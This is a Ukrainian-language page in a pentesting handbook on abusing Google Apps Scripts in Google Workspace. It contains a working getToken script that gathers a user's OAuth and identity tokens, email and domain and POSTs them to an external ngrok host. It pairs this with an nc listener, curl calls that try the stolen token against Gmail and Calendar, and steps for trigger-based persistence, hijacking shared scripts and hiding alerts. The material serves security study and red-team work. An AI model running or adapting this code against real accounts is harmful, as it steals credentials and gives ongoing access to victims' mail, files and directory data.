# GWS - App Scripts
{{#include ../../../banners/hacktricks-training.md}}
## App Scripts
App Scripts - це **код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script** і після **прийняття запиту OAuth**.\
Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (Persistence).
### Створити App Script
Існує кілька способів створити App Script, хоча найпоширеніші з них - це **з Google Документу (будь-якого типу)** та як **окремий проект**:
Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides
1. Відкрийте документ Docs, таблицю Sheets або презентацію Slides.
2. Натисніть **Розширення** > **Google Apps Script**.
3. У редакторі скриптів натисніть **Без назви проект**.
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
Створити окремий проект
Щоб створити окремий проект з Apps Script:
1. Перейдіть на [`script.google.com`](https://script.google.com/).
2. Натисніть **Новий проект**.
3. У редакторі скриптів натисніть **Без назви проект**.
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
Створити окремий проект з Google Drive
1. Відкрийте [Google Drive](https://drive.google.com/).
2. Натисніть **Новий** > **Інше** > **Google Apps Script**.
Створити проект, прив'язаний до контейнера, з Google Forms
1. Відкрийте форму в Google Forms.
2. Натисніть Інше more_vert > **Редактор скриптів**.
3. У редакторі скриптів натисніть **Без назви проект**.
4. Дайте вашому проекту назву та натисніть **Перейменувати**.
Створити окремий проект за допомогою інструменту командного рядка clasp
`clasp` - це інструмент командного рядка, який дозволяє вам створювати, завантажувати/вивантажувати та розгортати проекти Apps Script з терміналу.
Дивіться [Посібник по інтерфейсу командного рядка за допомогою `clasp`](https://developers.google.com/apps-script/guides/clasp) для отримання додаткової інформації.
## Сценарій App Script
### Створити Google Sheet з App Script
Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до **`Розширення > App Scripts`**, це відкриє **новий App Script, пов'язаний з таблицею**.
### Leak token
Щоб надати доступ до токена OAuth, вам потрібно натиснути на **`Сервіси +` і додати області, такі як**:
- **AdminDirectory**: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
- **Gmail**: Для доступу до даних gmail
- **Drive**: Для доступу до даних диска
- **Google Sheets API**: Щоб це працювало з тригером
Щоб змінити **необхідні області**, ви можете перейти до налаштувань проекту та увімкнути: **`Показати файл маніфесту "appsscript.json" в редакторі`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
Щоб захопити запит, ви можете просто виконати:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Запити на дозволи для виконання App Script:
> [!WARNING]
> Оскільки здійснюється зовнішній запит, запит OAuth також **попросить дозволи на доступ до зовнішніх кінцевих точок**.
### Створити тригер
Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, запускається при розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть.
Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете відлагодити щось.
### Спільний доступ
Щоб **запустити** **App Script**, жертва повинна підключитися з **доступом редактора**.
> [!TIP]
> **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як Редактор іншими користувачами.
### Зловживання документами, спільно надісланими мені
> [!CAUTION]
> Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що OAuth токен власника матиме такі області доступу, які були надані під час створення тригера).
>
> **Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт** (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?)
> [!TIP]
> Якщо **зловмисник змінює області доступу App Script**, оновлення **не будуть застосовані** до документа, поки не буде створено **новий тригер** з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями доступу, ніж ті, які він встановив у тригері, який він створив.
### Копіювання замість спільного доступу
Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Якщо ви **зміните** закінчення **"/edit"** на **"/copy"**, замість доступу до нього Google запитає вас, чи хочете ви **створити копію документа:**
Якщо користувач копіює його та отримує доступ, як **вміст документа, так і App Scripts будуть скопійовані**, однак **тригери не будуть**, тому **нічого не буде виконано**.
### Спільний доступ як веб-додаток
Зверніть увагу, що також можливо **поділитися App Script як веб-додатком** (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:
Після цього з'явиться **типове запит OAuth**, що запитує необхідні дозволи.
### Тестування
Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users//messages" \
-H "Authorization: Bearer "
```
Список календаря користувача:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script як постійний доступ
Один з варіантів постійного доступу - це **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.**
Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який **компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен**:
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер, а також виберіть опції, які вам найбільше підходять:
> [!CAUTION]
> Це створить електронний лист про безпеку та push-повідомлення на вашому мобільному телефоні, що сповіщає про це.
### Обхід неперевіреного запиту спільного документа
Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створювати **App Scripts всередині документа**, а **ВЛАСНИК (творець) документа буде власником App Script**.
> [!WARNING]
> Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який створить будь-хто з доступом редактора всередині нього.
>
> Це також означає, що **App Script буде довіреним середовищем Workspace** творця документа.
> [!CAUTION]
> Це також означає, що якщо **App Script вже існував** і люди надали **доступ**, будь-хто з **дозволом редактора** на документ може **модифікувати його та зловживати цим доступом.**\
> Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один з цікавих трюків - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів ``).
{{#include ../../../banners/hacktricks-training.md}}